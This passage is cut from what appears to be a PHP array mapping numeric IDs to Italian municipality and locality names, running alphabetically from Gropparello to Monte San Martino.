\"Gropparello\",3274 => \"Groscavallo\",3275 => \"Grosio\",3276 => \"Grosotto\",3277 => \"Grosseto\",3278 => \"Grosso\",3279 => \"Grottaferrata\",3280 => \"Grottaglie\",3281 => \"Grottaminarda\",3282 => \"Grottammare\",3283 => \"Grottazzolina\",3284 => \"Grotte\",3285 => \"Grotte di castro\",3286 => \"Grotteria\",3287 => \"Grottole\",3288 => \"Grottolella\",3289 => \"Gruaro\",3290 => \"Grugliasco\",3291 => \"Grumello cremonese ed uniti\",3292 => \"Grumello del monte\",8414 => \"Grumento nova\",3294 => \"Grumes\",3295 => \"Grumo appula\",3296 => \"Grumo nevano\",3297 => \"Grumolo delle abbadesse\",3298 => \"Guagnano\",3299 => \"Gualdo\",3300 => \"Gualdo Cattaneo\",3301 => \"Gualdo tadino\",3302 => \"Gualtieri\",3303 => \"Gualtieri sicamino'\",3304 => \"Guamaggiore\",3305 => \"Guanzate\",3306 => \"Guarcino\",3307 => \"Guarda veneta\",3308 => \"Guardabosone\",3309 => \"Guardamiglio\",3310 => \"Guardavalle\",3311 => \"Guardea\",3312 => \"Guardia lombardi\",8365 => \"Guardia perticara\",3314 => \"Guardia piemontese\",3315 => \"Guardia sanframondi\",3316 => \"Guardiagrele\",3317 => \"Guardialfiera\",3318 => \"Guardiaregia\",3319 => \"Guardistallo\",3320 => \"Guarene\",3321 => \"Guasila\",3322 => \"Guastalla\",3323 => \"Guazzora\",3324 => \"Gubbio\",3325 => \"Gudo visconti\",3326 => \"Guglionesi\",3327 => \"Guidizzolo\",8508 => \"Guidonia\",3328 => \"Guidonia montecelio\",3329 => \"Guiglia\",3330 => \"Guilmi\",3331 => \"Gurro\",3332 => \"Guspini\",3333 => \"Gussago\",3334 => \"Gussola\",3335 => \"Hone\",8587 => \"I Prati\",3336 => \"Idro\",3337 => \"Iglesias\",3338 => \"Igliano\",3339 => \"Ilbono\",3340 => \"Illasi\",3341 => \"Illorai\",3342 => \"Imbersago\",3343 => \"Imer\",3344 => \"Imola\",3345 => \"Imperia\",3346 => \"Impruneta\",3347 => \"Inarzo\",3348 => \"Incisa in val d'arno\",3349 => \"Incisa scapaccino\",3350 => \"Incudine\",3351 => \"Induno olona\",3352 => \"Ingria\",3353 => \"Intragna\",3354 => \"Introbio\",3355 => \"Introd\",3356 => \"Introdacqua\",3357 => \"Introzzo\",3358 => \"Inverigo\",3359 => \"Inverno e monteleone\",3360 => \"Inverso pinasca\",3361 => \"Inveruno\",3362 => \"Invorio\",3363 => \"Inzago\",3364 => \"Ionadi\",3365 => \"Irgoli\",3366 => \"Irma\",3367 => \"Irsina\",3368 => \"Isasca\",3369 => \"Isca sullo ionio\",3370 => \"Ischia\",3371 => \"Ischia di castro\",3372 => \"Ischitella\",3373 => \"Iseo\",3374 => \"Isera\",3375 => \"Isernia\",3376 => \"Isili\",3377 => \"Isnello\",8742 => \"Isola Albarella\",3378 => \"Isola d'asti\",3379 => \"Isola del cantone\",8190 => \"Isola del Giglio\",3381 => \"Isola del gran sasso d'italia\",3382 => \"Isola del liri\",3383 => \"Isola del piano\",3384 => \"Isola della scala\",3385 => \"Isola delle femmine\",3386 => \"Isola di capo rizzuto\",3387 => \"Isola di fondra\",8671 => \"Isola di Giannutri\",3388 => \"Isola dovarese\",3389 => \"Isola rizza\",8173 => \"Isola Rossa\",8183 => \"Isola Salina\",3390 => \"Isola sant'antonio\",3391 => \"Isola vicentina\",3392 => \"Isolabella\",3393 => \"Isolabona\",3394 => \"Isole tremiti\",3395 => \"Isorella\",3396 => \"Ispani\",3397 => \"Ispica\",3398 => \"Ispra\",3399 => \"Issiglio\",3400 => \"Issime\",3401 => \"Isso\",3402 => \"Issogne\",3403 => \"Istrana\",3404 => \"Itala\",3405 => \"Itri\",3406 => \"Ittireddu\",3407 => \"Ittiri\",3408 => \"Ivano fracena\",3409 => \"Ivrea\",3410 => \"Izano\",3411 => \"Jacurso\",3412 => \"Jelsi\",3413 => \"Jenne\",3414 => \"Jerago con Orago\",3415 => \"Jerzu\",3416 => \"Jesi\",3417 => \"Jesolo\",3418 => \"Jolanda di Savoia\",3419 => \"Joppolo\",3420 => \"Joppolo Giancaxio\",3421 => \"Jovencan\",8568 => \"Klausberg\",3422 => \"L'Aquila\",3423 => \"La Cassa\",8227 => \"La Lechere\",3424 => \"La Loggia\",3425 => \"La Maddalena\",3426 => \"La Magdeleine\",3427 => \"La Morra\",8617 => \"La Palud\",3428 => \"La Salle\",3429 => \"La Spezia\",3430 => \"La Thuile\",3431 => \"La Valle\",3432 => \"La Valle Agordina\",8762 => \"La Villa\",3433 => \"Labico\",3434 => \"Labro\",3435 => \"Lacchiarella\",3436 => \"Lacco ameno\",3437 => \"Lacedonia\",8245 => \"Laceno\",3438 => \"Laces\",3439 => \"Laconi\",3440 => \"Ladispoli\",8571 => \"Ladurno\",3441 => \"Laerru\",3442 => \"Laganadi\",3443 => \"Laghi\",3444 => \"Laglio\",3445 => \"Lagnasco\",3446 => \"Lago\",3447 => \"Lagonegro\",3448 => \"Lagosanto\",3449 => \"Lagundo\",3450 => \"Laigueglia\",3451 => \"Lainate\",3452 => \"Laino\",3453 => \"Laino borgo\",3454 => \"Laino castello\",3455 => \"Laion\",3456 => \"Laives\",3457 => \"Lajatico\",3458 => \"Lallio\",3459 => \"Lama dei peligni\",3460 => \"Lama mocogno\",3461 => \"Lambrugo\",8477 => \"Lamezia Santa Eufemia\",3462 => \"Lamezia terme\",3463 => \"Lamon\",8179 => \"Lampedusa\",3464 => \"Lampedusa e linosa\",3465 => \"Lamporecchio\",3466 => \"Lamporo\",3467 => \"Lana\",3468 => \"Lanciano\",8467 => \"Lanciano casello\",3469 => \"Landiona\",3470 => \"Landriano\",3471 => \"Langhirano\",3472 => \"Langosco\",3473 => \"Lanusei\",3474 => \"Lanuvio\",3475 => \"Lanzada\",3476 => \"Lanzo d'intelvi\",3477 => \"Lanzo torinese\",3478 => \"Lapedona\",3479 => \"Lapio\",3480 => \"Lappano\",3481 => \"Larciano\",3482 => \"Lardaro\",3483 => \"Lardirago\",3484 => \"Lari\",3485 => \"Lariano\",3486 => \"Larino\",3487 => \"Las plassas\",3488 => \"Lasa\",3489 => \"Lascari\",3490 => \"Lasino\",3491 => \"Lasnigo\",3492 => \"Lastebasse\",3493 => \"Lastra a signa\",3494 => \"Latera\",3495 => \"Laterina\",3496 => \"Laterza\",3497 => \"Latiano\",3498 => \"Latina\",3499 => \"Latisana\",3500 => \"Latronico\",3501 => \"Lattarico\",3502 => \"Lauco\",3503 => \"Laureana cilento\",3504 => \"Laureana di borrello\",3505 => \"Lauregno\",3506 => \"Laurenzana\",3507 => \"Lauria\",3508 => \"Lauriano\",3509 => \"Laurino\",3510 => \"Laurito\",3511 => \"Lauro\",3512 => \"Lavagna\",3513 => \"Lavagno\",3514 => \"Lavarone\",3515 => \"Lavello\",3516 => \"Lavena ponte tresa\",3517 => \"Laveno mombello\",3518 => \"Lavenone\",3519 => \"Laviano\",8695 => \"Lavinio\",3520 => \"Lavis\",3521 => \"Lazise\",3522 => \"Lazzate\",8434 => \"Le polle\",3523 => \"Lecce\",3524 => \"Lecce nei marsi\",3525 => \"Lecco\",3526 => \"Leffe\",3527 => \"Leggiuno\",3528 => \"Legnago\",3529 => \"Legnano\",3530 => \"Legnaro\",3531 => \"Lei\",3532 => \"Leini\",3533 => \"Leivi\",3534 => \"Lemie\",3535 => \"Lendinara\",3536 => \"Leni\",3537 => \"Lenna\",3538 => \"Lenno\",3539 => \"Leno\",3540 => \"Lenola\",3541 => \"Lenta\",3542 => \"Lentate sul seveso\",3543 => \"Lentella\",3544 => \"Lentiai\",3545 => \"Lentini\",3546 => \"Leonessa\",3547 => \"Leonforte\",3548 => \"Leporano\",3549 => \"Lequile\",3550 => \"Lequio berria\",3551 => \"Lequio tanaro\",3552 => \"Lercara friddi\",3553 => \"Lerici\",3554 => \"Lerma\",8250 => \"Les Suches\",3555 => \"Lesa\",3556 => \"Lesegno\",3557 => \"Lesignano de 'bagni\",3558 => \"Lesina\",3559 => \"Lesmo\",3560 => \"Lessolo\",3561 => \"Lessona\",3562 => \"Lestizza\",3563 => \"Letino\",3564 => \"Letojanni\",3565 => \"Lettere\",3566 => \"Lettomanoppello\",3567 => \"Lettopalena\",3568 => \"Levanto\",3569 => \"Levate\",3570 => \"Leverano\",3571 => \"Levice\",3572 => \"Levico terme\",3573 => \"Levone\",3574 => \"Lezzeno\",3575 => \"Liberi\",3576 => \"Librizzi\",3577 => \"Licata\",3578 => \"Licciana nardi\",3579 => \"Licenza\",3580 => \"Licodia eubea\",8442 => \"Lido degli Estensi\",8441 => \"Lido delle Nazioni\",8200 => \"Lido di Camaiore\",8136 => \"Lido di Ostia\",8746 => \"Lido di Volano\",8594 => \"Lido Marini\",3581 => \"Lierna\",3582 => \"Lignana\",3583 => \"Lignano sabbiadoro\",3584 => \"Ligonchio\",3585 => \"Ligosullo\",3586 => \"Lillianes\",3587 => \"Limana\",3588 => \"Limatola\",3589 => \"Limbadi\",3590 => \"Limbiate\",3591 => \"Limena\",3592 => \"Limido comasco\",3593 => \"Limina\",3594 => \"Limone piemonte\",3595 => \"Limone sul garda\",3596 => \"Limosano\",3597 => \"Linarolo\",3598 => \"Linguaglossa\",8180 => \"Linosa\",3599 => \"Lioni\",3600 => \"Lipari\",3601 => \"Lipomo\",3602 => \"Lirio\",3603 => \"Liscate\",3604 => \"Liscia\",3605 => \"Lisciano niccone\",3606 => \"Lisignago\",3607 => \"Lisio\",3608 => \"Lissone\",3609 => \"Liveri\",3610 => \"Livigno\",3611 => \"Livinallongo del col di lana\",3613 => \"Livo\",3612 => \"Livo\",3614 => \"Livorno\",3615 => \"Livorno ferraris\",3616 => \"Livraga\",3617 => \"Lizzanello\",3618 => \"Lizzano\",3619 => \"Lizzano in belvedere\",8300 => \"Lizzola\",3620 => \"Loano\",3621 => \"Loazzolo\",3622 => \"Locana\",3623 => \"Locate di triulzi\",3624 => \"Locate varesino\",3625 => \"Locatello\",3626 => \"Loceri\",3627 => \"Locorotondo\",3628 => \"Locri\",3629 => \"Loculi\",3630 => \"Lode'\",3631 => \"Lodi\",3632 => \"Lodi vecchio\",3633 => \"Lodine\",3634 => \"Lodrino\",3635 => \"Lograto\",3636 => \"Loiano\",8748 => \"Loiano RFI\",3637 => \"Loiri porto san paolo\",3638 => \"Lomagna\",3639 => \"Lomaso\",3640 => \"Lomazzo\",3641 => \"Lombardore\",3642 => \"Lombriasco\",3643 => \"Lomello\",3644 => \"Lona lases\",3645 => \"Lonate ceppino\",3646 => \"Lonate pozzolo\",3647 => \"Lonato\",3648 => \"Londa\",3649 => \"Longano\",3650 => \"Longare\",3651 => \"Longarone\",3652 => \"Longhena\",3653 => \"Longi\",3654 => \"Longiano\",3655 => \"Longobardi\",3656 => \"Longobucco\",3657 => \"Longone al segrino\",3658 => \"Longone sabino\",3659 => \"Lonigo\",3660 => \"Loranze'\",3661 => \"Loreggia\",3662 => \"Loreglia\",3663 => \"Lorenzago di cadore\",3664 => \"Lorenzana\",3665 => \"Loreo\",3666 => \"Loreto\",3667 => \"Loreto aprutino\",3668 => \"Loria\",8523 => \"Lorica\",3669 => \"Loro ciuffenna\",3670 => \"Loro piceno\",3671 => \"Lorsica\",3672 => \"Losine\",3673 => \"Lotzorai\",3674 => \"Lovere\",3675 => \"Lovero\",3676 => \"Lozio\",3677 => \"Lozza\",3678 => \"Lozzo atestino\",3679 => \"Lozzo di cadore\",3680 => \"Lozzolo\",3681 => \"Lu\",3682 => \"Lubriano\",3683 => \"Lucca\",3684 => \"Lucca sicula\",3685 => \"Lucera\",3686 => \"Lucignano\",3687 => \"Lucinasco\",3688 => \"Lucito\",3689 => \"Luco dei marsi\",3690 => \"Lucoli\",3691 => \"Lugagnano val d'arda\",3692 => \"Lugnacco\",3693 => \"Lugnano in teverina\",3694 => \"Lugo\",3695 => \"Lugo di vicenza\",3696 => \"Luino\",3697 => \"Luisago\",3698 => \"Lula\",3699 => \"Lumarzo\",3700 => \"Lumezzane\",3701 => \"Lunamatrona\",3702 => \"Lunano\",3703 => \"Lungavilla\",3704 => \"Lungro\",3705 => \"Luogosano\",3706 => \"Luogosanto\",3707 => \"Lupara\",3708 => \"Lurago d'erba\",3709 => \"Lurago marinone\",3710 => \"Lurano\",3711 => \"Luras\",3712 => \"Lurate caccivio\",3713 => \"Lusciano\",8636 => \"Lusentino\",3714 => \"Luserna\",3715 => \"Luserna san giovanni\",3716 => \"Lusernetta\",3717 => \"Lusevera\",3718 => \"Lusia\",3719 => \"Lusiana\",3720 => \"Lusiglie'\",3721 => \"Luson\",3722 => \"Lustra\",8572 => \"Lutago\",3723 => \"Luvinate\",3724 => \"Luzzana\",3725 => \"Luzzara\",3726 => \"Luzzi\",8447 => \"L`Aquila est\",8446 => \"L`Aquila ovest\",3727 => \"Maccagno\",3728 => \"Maccastorna\",3729 => \"Macchia d'isernia\",3730 => \"Macchia valfortore\",3731 => \"Macchiagodena\",3732 => \"Macello\",3733 => \"Macerata\",3734 => \"Macerata campania\",3735 => \"Macerata feltria\",3736 => \"Macherio\",3737 => \"Maclodio\",3738 => \"Macomer\",3739 => \"Macra\",3740 => \"Macugnaga\",3741 => \"Maddaloni\",3742 => \"Madesimo\",3743 => \"Madignano\",3744 => \"Madone\",3745 => \"Madonna del sasso\",8201 => \"Madonna di Campiglio\",3746 => \"Maenza\",3747 => \"Mafalda\",3748 => \"Magasa\",3749 => \"Magenta\",3750 => \"Maggiora\",3751 => \"Magherno\",3752 => \"Magione\",3753 => \"Magisano\",3754 => \"Magliano alfieri\",3755 => \"Magliano alpi\",8461 => \"Magliano casello\",3756 => \"Magliano de' marsi\",3757 => \"Magliano di tenna\",3758 => \"Magliano in toscana\",3759 => \"Magliano romano\",3760 => \"Magliano sabina\",3761 => \"Magliano vetere\",3762 => \"Maglie\",3763 => \"Magliolo\",3764 => \"Maglione\",3765 => \"Magnacavallo\",3766 => \"Magnago\",3767 => \"Magnano\",3768 => \"Magnano in riviera\",8322 => \"Magnolta\",3769 => \"Magomadas\",3770 => \"Magre' sulla strada del vino\",3771 => \"Magreglio\",3772 => \"Maida\",3773 => \"Maiera'\",3774 => \"Maierato\",3775 => \"Maiolati spontini\",3776 => \"Maiolo\",3777 => \"Maiori\",3778 => \"Mairago\",3779 => \"Mairano\",3780 => \"Maissana\",3781 => \"Majano\",3782 => \"Malagnino\",3783 => \"Malalbergo\",3784 => \"Malborghetto valbruna\",3785 => \"Malcesine\",3786 => \"Male'\",3787 => \"Malegno\",3788 => \"Maleo\",3789 => \"Malesco\",3790 => \"Maletto\",3791 => \"Malfa\",8229 => \"Malga Ciapela\",8333 => \"Malga Polzone\",8661 => \"Malga San Giorgio\",3792 => \"Malgesso\",3793 => \"Malgrate\",3794 => \"Malito\",3795 => \"Mallare\",3796 => \"Malles Venosta\",3797 => \"Malnate\",3798 => \"Malo\",3799 => \"Malonno\",3800 => \"Malosco\",3801 => \"Maltignano\",3802 => \"Malvagna\",3803 => \"Malvicino\",3804 => \"Malvito\",3805 => \"Mammola\",3806 => \"Mamoiada\",3807 => \"Manciano\",3808 => \"Mandanici\",3809 => \"Mandas\",3810 => \"Mandatoriccio\",3811 => \"Mandela\",3812 => \"Mandello del lario\",3813 => \"Mandello vitta\",3814 => \"Manduria\",3815 => \"Manerba del garda\",3816 => \"Manerbio\",3817 => \"Manfredonia\",3818 => \"Mango\",3819 => \"Mangone\",3820 => \"Maniace\",3821 => \"Maniago\",3822 => \"Manocalzati\",3823 => \"Manoppello\",3824 => \"Mansue'\",3825 => \"Manta\",3826 => \"Mantello\",3827 => \"Mantova\",8129 => \"Manzano\",3829 => \"Manziana\",3830 => \"Mapello\",3831 => \"Mara\",3832 => \"Maracalagonis\",3833 => \"Maranello\",3834 => \"Marano di napoli\",3835 => \"Marano di valpolicella\",3836 => \"Marano equo\",3837 => \"Marano lagunare\",3838 => \"Marano marchesato\",3839 => \"Marano principato\",3840 => \"Marano sul panaro\",3841 => \"Marano ticino\",3842 => \"Marano vicentino\",3843 => \"Maranzana\",3844 => \"Maratea\",3845 => \"Marcallo con Casone\",3846 => \"Marcaria\",3847 => \"Marcedusa\",3848 => \"Marcellina\",3849 => \"Marcellinara\",3850 => \"Marcetelli\",3851 => \"Marcheno\",3852 => \"Marchirolo\",3853 => \"Marciana\",3854 => \"Marciana marina\",3855 => \"Marcianise\",3856 => \"Marciano della chiana\",3857 => \"Marcignago\",3858 => \"Marcon\",3859 => \"Marebbe\",8478 => \"Marene\",3861 => \"Mareno di piave\",3862 => \"Marentino\",3863 => \"Maretto\",3864 => \"Margarita\",3865 => \"Margherita di savoia\",3866 => \"Margno\",3867 => \"Mariana mantovana\",3868 => \"Mariano comense\",3869 => \"Mariano del friuli\",3870 => \"Marianopoli\",3871 => \"Mariglianella\",3872 => \"Marigliano\",8291 => \"Marilleva\",8490 => \"Marina di Arbus\",8599 => \"Marina di Camerota\",8582 => \"Marina di Campo\",8111 => \"Marina di Cariati\",8118 => \"Marina di Cetraro\",8175 => \"Marina di Gairo\",8164 => \"Marina di Ginosa\",3873 => \"Marina di gioiosa ionica\",8166 => \"Marina di Leuca\",8184 => \"Marina di Modica\",8156 => \"Marina di montenero\",8165 => \"Marina di Ostuni\",8186 => \"Marina di Palma\",8141 => \"Marina di Pescia Romana\",8591 => \"Marina di Pescoluse\",8298 => \"Marina di Pietrasanta\",8128 => \"Marina di Ravenna\",8174 => \"Marina di Sorso\",8188 => \"Marinella\",3874 => \"Marineo\",3875 => \"Marino\",3876 => \"Marlengo\",3877 => \"Marliana\",3878 => \"Marmentino\",3879 => \"Marmirolo\",8205 => \"Marmolada\",3880 => \"Marmora\",3881 => \"Marnate\",3882 => \"Marone\",3883 => \"Maropati\",3884 => \"Marostica\",8154 => \"Marotta\",3885 => \"Marradi\",3886 => \"Marrubiu\",3887 => \"Marsaglia\",3888 => \"Marsala\",3889 => \"Marsciano\",3890 => \"Marsico nuovo\",3891 => \"Marsicovetere\",3892 => \"Marta\",3893 => \"Martano\",3894 => \"Martellago\",3895 => \"Martello\",3896 => \"Martignacco\",3897 => \"Martignana di po\",3898 => \"Martignano\",3899 => \"Martina franca\",3900 => \"Martinengo\",3901 => \"Martiniana po\",3902 => \"Martinsicuro\",3903 => \"Martirano\",3904 => \"Martirano lombardo\",3905 => \"Martis\",3906 => \"Martone\",3907 => \"Marudo\",3908 => \"Maruggio\",3909 => \"Marzabotto\",3910 => \"Marzano\",3911 => \"Marzano appio\",3912 => \"Marzano di nola\",3913 => \"Marzi\",3914 => \"Marzio\",3915 => \"Masainas\",3916 => \"Masate\",3917 => \"Mascali\",3918 => \"Mascalucia\",3919 => \"Maschito\",3920 => \"Masciago primo\",3921 => \"Maser\",3922 => \"Masera\",3923 => \"Masera' di Padova\",3924 => \"Maserada sul piave\",3925 => \"Masi\",3926 => \"Masi torello\",3927 => \"Masio\",3928 => \"Maslianico\",8216 => \"Maso Corto\",3929 => \"Mason vicentino\",3930 => \"Masone\",3931 => \"Massa\",3932 => \"Massa d'albe\",3933 => \"Massa di somma\",3934 => \"Massa e cozzile\",3935 => \"Massa fermana\",3936 => \"Massa fiscaglia\",3937 => \"Massa lombarda\",3938 => \"Massa lubrense\",3939 => \"Massa marittima\",3940 => \"Massa martana\",3941 => \"Massafra\",3942 => \"Massalengo\",3943 => \"Massanzago\",3944 => \"Massarosa\",3945 => \"Massazza\",3946 => \"Massello\",3947 => \"Masserano\",3948 => \"Massignano\",3949 => \"Massimeno\",3950 => \"Massimino\",3951 => \"Massino visconti\",3952 => \"Massiola\",3953 => \"Masullas\",3954 => \"Matelica\",3955 => \"Matera\",3956 => \"Mathi\",3957 => \"Matino\",3958 => \"Matrice\",3959 => \"Mattie\",3960 => \"Mattinata\",3961 => \"Mazara del vallo\",3962 => \"Mazzano\",3963 => \"Mazzano romano\",3964 => \"Mazzarino\",3965 => \"Mazzarra' sant'andrea\",3966 => \"Mazzarrone\",3967 => \"Mazze'\",3968 => \"Mazzin\",3969 => \"Mazzo di valtellina\",3970 => \"Meana di susa\",3971 => \"Meana sardo\",3972 => \"Meda\",3973 => \"Mede\",3974 => \"Medea\",3975 => \"Medesano\",3976 => \"Medicina\",3977 => \"Mediglia\",3978 => \"Medolago\",3979 => \"Medole\",3980 => \"Medolla\",3981 => \"Meduna di livenza\",3982 => \"Meduno\",3983 => \"Megliadino san fidenzio\",3984 => \"Megliadino san vitale\",3985 => \"Meina\",3986 => \"Mel\",3987 => \"Melara\",3988 => \"Melazzo\",8443 => \"Meldola\",3990 => \"Mele\",3991 => \"Melegnano\",3992 => \"Melendugno\",3993 => \"Meleti\",8666 => \"Melezet\",3994 => \"Melfi\",3995 => \"Melicucca'\",3996 => \"Melicucco\",3997 => \"Melilli\",3998 => \"Melissa\",3999 => \"Melissano\",4000 => \"Melito di napoli\",4001 => \"Melito di porto salvo\",4002 => \"Melito irpino\",4003 => \"Melizzano\",4004 => \"Melle\",4005 => \"Mello\",4006 => \"Melpignano\",4007 => \"Meltina\",4008 => \"Melzo\",4009 => \"Menaggio\",4010 => \"Menarola\",4011 => \"Menconico\",4012 => \"Mendatica\",4013 => \"Mendicino\",4014 => \"Menfi\",4015 => \"Mentana\",4016 => \"Meolo\",4017 => \"Merana\",4018 => \"Merano\",8351 => \"Merano 2000\",4019 => \"Merate\",4020 => \"Mercallo\",4021 => \"Mercatello sul metauro\",4022 => \"Mercatino conca\",8437 => \"Mercato\",4023 => \"Mercato san severino\",4024 => \"Mercato saraceno\",4025 => \"Mercenasco\",4026 => \"Mercogliano\",4027 => \"Mereto di tomba\",4028 => \"Mergo\",4029 => \"Mergozzo\",4030 => \"Meri'\",4031 => \"Merlara\",4032 => \"Merlino\",4033 => \"Merone\",4034 => \"Mesagne\",4035 => \"Mese\",4036 => \"Mesenzana\",4037 => \"Mesero\",4038 => \"Mesola\",4039 => \"Mesoraca\",4040 => \"Messina\",4041 => \"Mestrino\",4042 => \"Meta\",8104 => \"Metaponto\",4043 => \"Meugliano\",4044 => \"Mezzago\",4045 => \"Mezzana\",4046 => \"Mezzana bigli\",4047 => \"Mezzana mortigliengo\",4048 => \"Mezzana rabattone\",4049 => \"Mezzane di sotto\",4050 => \"Mezzanego\",4051 => \"Mezzani\",4052 => \"Mezzanino\",4053 => \"Mezzano\",4054 => \"Mezzegra\",4055 => \"Mezzenile\",4056 => \"Mezzocorona\",4057 => \"Mezzojuso\",4058 => \"Mezzoldo\",4059 => \"Mezzolombardo\",4060 => \"Mezzomerico\",8524 => \"MI Olgettina\",8526 => \"MI Primaticcio\",8527 => \"MI Silla\",8525 => \"MI Zama\",4061 => \"Miagliano\",4062 => \"Miane\",4063 => \"Miasino\",4064 => \"Miazzina\",4065 => \"Micigliano\",4066 => \"Miggiano\",4067 => \"Miglianico\",4068 => \"Migliarino\",4069 => \"Migliaro\",4070 => \"Miglierina\",4071 => \"Miglionico\",4072 => \"Mignanego\",4073 => \"Mignano monte lungo\",4074 => \"Milano\",8495 => \"Milano Linate\",8496 => \"Milano Malpensa\",8240 => \"Milano marittima\",4075 => \"Milazzo\",4076 => \"Milena\",4077 => \"Mileto\",4078 => \"Milis\",4079 => \"Militello in val di catania\",4080 => \"Militello rosmarino\",4081 => \"Millesimo\",4082 => \"Milo\",4083 => \"Milzano\",4084 => \"Mineo\",4085 => \"Minerbe\",4086 => \"Minerbio\",4087 => \"Minervino di lecce\",4088 => \"Minervino murge\",4089 => \"Minori\",4090 => \"Minturno\",4091 => \"Minucciano\",4092 => \"Mioglia\",4093 => \"Mira\",4094 => \"Mirabella eclano\",4095 => \"Mirabella imbaccari\",4096 => \"Mirabello\",4097 => \"Mirabello monferrato\",4098 => \"Mirabello sannitico\",4099 => \"Miradolo terme\",4100 => \"Miranda\",4101 => \"Mirandola\",4102 => \"Mirano\",4103 => \"Mirto\",4104 => \"Misano adriatico\",4105 => \"Misano di gera d'adda\",4106 => \"Misilmeri\",4107 => \"Misinto\",4108 => \"Missaglia\",8416 => \"Missanello\",4110 => \"Misterbianco\",4111 => \"Mistretta\",8623 => \"Misurina\",4112 => \"Moasca\",4113 => \"Moconesi\",4114 => \"Modena\",4115 => \"Modica\",4116 => \"Modigliana\",4117 => \"Modolo\",4118 => \"Modugno\",4119 => \"Moena\",4120 => \"Moggio\",4121 => \"Moggio udinese\",4122 => \"Moglia\",4123 => \"Mogliano\",4124 => \"Mogliano veneto\",4125 => \"Mogorella\",4126 => \"Mogoro\",4127 => \"Moiano\",8615 => \"Moie\",4128 => \"Moimacco\",4129 => \"Moio Alcantara\",4130 => \"Moio de'calvi\",4131 => \"Moio della civitella\",4132 => \"Moiola\",4133 => \"Mola di bari\",4134 => \"Molare\",4135 => \"Molazzana\",4136 => \"Molfetta\",4137 => \"Molina aterno\",4138 => \"Molina di ledro\",4139 => \"Molinara\",4140 => \"Molinella\",4141 => \"Molini di triora\",4142 => \"Molino dei torti\",4143 => \"Molise\",4144 => \"Moliterno\",4145 => \"Mollia\",4146 => \"Molochio\",4147 => \"Molteno\",4148 => \"Moltrasio\",4149 => \"Molvena\",4150 => \"Molveno\",4151 => \"Mombaldone\",4152 => \"Mombarcaro\",4153 => \"Mombaroccio\",4154 => \"Mombaruzzo\",4155 => \"Mombasiglio\",4156 => \"Mombello di torino\",4157 => \"Mombello monferrato\",4158 => \"Mombercelli\",4159 => \"Momo\",4160 => \"Mompantero\",4161 => \"Mompeo\",4162 => \"Momperone\",4163 => \"Monacilioni\",4164 => \"Monale\",4165 => \"Monasterace\",4166 => \"Monastero bormida\",4167 => \"Monastero di lanzo\",4168 => \"Monastero di vasco\",4169 => \"Monasterolo casotto\",4170 => \"Monasterolo del castello\",4171 => \"Monasterolo di savigliano\",4172 => \"Monastier di treviso\",4173 => \"Monastir\",4174 => \"Moncalieri\",4175 => \"Moncalvo\",4176 => \"Moncenisio\",4177 => \"Moncestino\",4178 => \"Monchiero\",4179 => \"Monchio delle corti\",4180 => \"Monclassico\",4181 => \"Moncrivello\",8649 => \"Moncucco\",4182 => \"Moncucco torinese\",4183 => \"Mondaino\",4184 => \"Mondavio\",4185 => \"Mondolfo\",4186 => \"Mondovi'\",4187 => \"Mondragone\",4188 => \"Moneglia\",8143 => \"Monesi\",4189 => \"Monesiglio\",4190 => \"Monfalcone\",4191 => \"Monforte d'alba\",4192 => \"Monforte san giorgio\",4193 => \"Monfumo\",4194 => \"Mongardino\",4195 => \"Monghidoro\",4196 => \"Mongiana\",4197 => \"Mongiardino ligure\",8637 => \"Monginevro Montgenevre\",4198 => \"Mongiuffi melia\",4199 => \"Mongrando\",4200 => \"Mongrassano\",4201 => \"Monguelfo\",4202 => \"Monguzzo\",4203 => \"Moniga del garda\",4204 => \"Monleale\",4205 => \"Monno\",4206 => \"Monopoli\",4207 => \"Monreale\",4208 => \"Monrupino\",4209 => \"Monsampietro morico\",4210 => \"Monsampolo del tronto\",4211 => \"Monsano\",4212 => \"Monselice\",4213 => \"Monserrato\",4214 => \"Monsummano terme\",4215 => \"Monta'\",4216 => \"Montabone\",4217 => \"Montacuto\",4218 => \"Montafia\",4219 => \"Montagano\",4220 => \"Montagna\",4221 => \"Montagna in valtellina\",8301 => \"Montagnana\",4223 => \"Montagnareale\",4224 => \"Montagne\",4225 => \"Montaguto\",4226 => \"Montaione\",4227 => \"Montalbano Elicona\",4228 => \"Montalbano jonico\",4229 => \"Montalcino\",4230 => \"Montaldeo\",4231 => \"Montaldo bormida\",4232 => \"Montaldo di mondovi'\",4233 => \"Montaldo roero\",4234 => \"Montaldo scarampi\",4235 => \"Montaldo torinese\",4236 => \"Montale\",4237 => \"Montalenghe\",4238 => \"Montallegro\",4239 => \"Montalto delle marche\",4240 => \"Montalto di castro\",4241 => \"Montalto dora\",4242 => \"Montalto ligure\",4243 => \"Montalto pavese\",4244 => \"Montalto uffugo\",4245 => \"Montanaro\",4246 => \"Montanaso lombardo\",4247 => \"Montanera\",4248 => \"Montano antilia\",4249 => \"Montano lucino\",4250 => \"Montappone\",4251 => \"Montaquila\",4252 => \"Montasola\",4253 => \"Montauro\",4254 => \"Montazzoli\",8738 => \"Monte Alben\",8350 => \"Monte Amiata\",4255 => \"Monte Argentario\",8696 => \"Monte Avena\",8660 => \"Monte Baldo\",8251 => \"Monte Belvedere\",8720 => \"Monte Bianco\",8292 => \"Monte Bondone\",8757 => \"Monte Caio\",8149 => \"Monte Campione\",4256 => \"Monte Castello di Vibio\",4257 => \"Monte Cavallo\",4258 => \"Monte Cerignone\",8722 => \"Monte Cervino\",8533 => \"Monte Cimone\",4259 => \"Monte Colombo\",8658 => \"Monte Cornizzolo\",4260 => \"Monte Cremasco\",4261 => \"Monte di Malo\",4262 => \"Monte di Procida\",8581 => \"Monte Elmo\",8701 => \"Monte Faloria\",4263 => \"Monte Giberto\",8486 => \"Monte Gomito\",8232 => \"Monte Grappa\",4264 => \"Monte Isola\",8735 => \"Monte Legnone\",8631 => \"Monte Livata\",8574 => \"Monte Lussari\",8484 => \"Monte Malanotte\",4265 => \"Monte Marenzo\",8611 => \"Monte Matajur\",8732 => \"Monte Matto\",8266 => \"Monte Moro\",8697 => \"Monte Mucrone\",8619 => \"Monte Pigna\",8288 => \"Monte Pora Base\",8310 => \"Monte Pora Cima\",4266 => \"Monte Porzio\",4267 => \"Monte Porzio Catone\",8608 => \"Monte Prata\",8320 => \"Monte Pratello\",4268 => \"Monte Rinaldo\",4269 => \"Monte Roberto\",4270 => \"Monte Romano\",4271 => \"Monte San Biagio\",4272 => \"Monte San Giacomo\",4273 => \"Monte San Giovanni Campano\",4274 => \"Monte San Giovanni in Sabina\",4275 => \"Monte San Giusto\",4276 => \"Monte San Martino\",4277 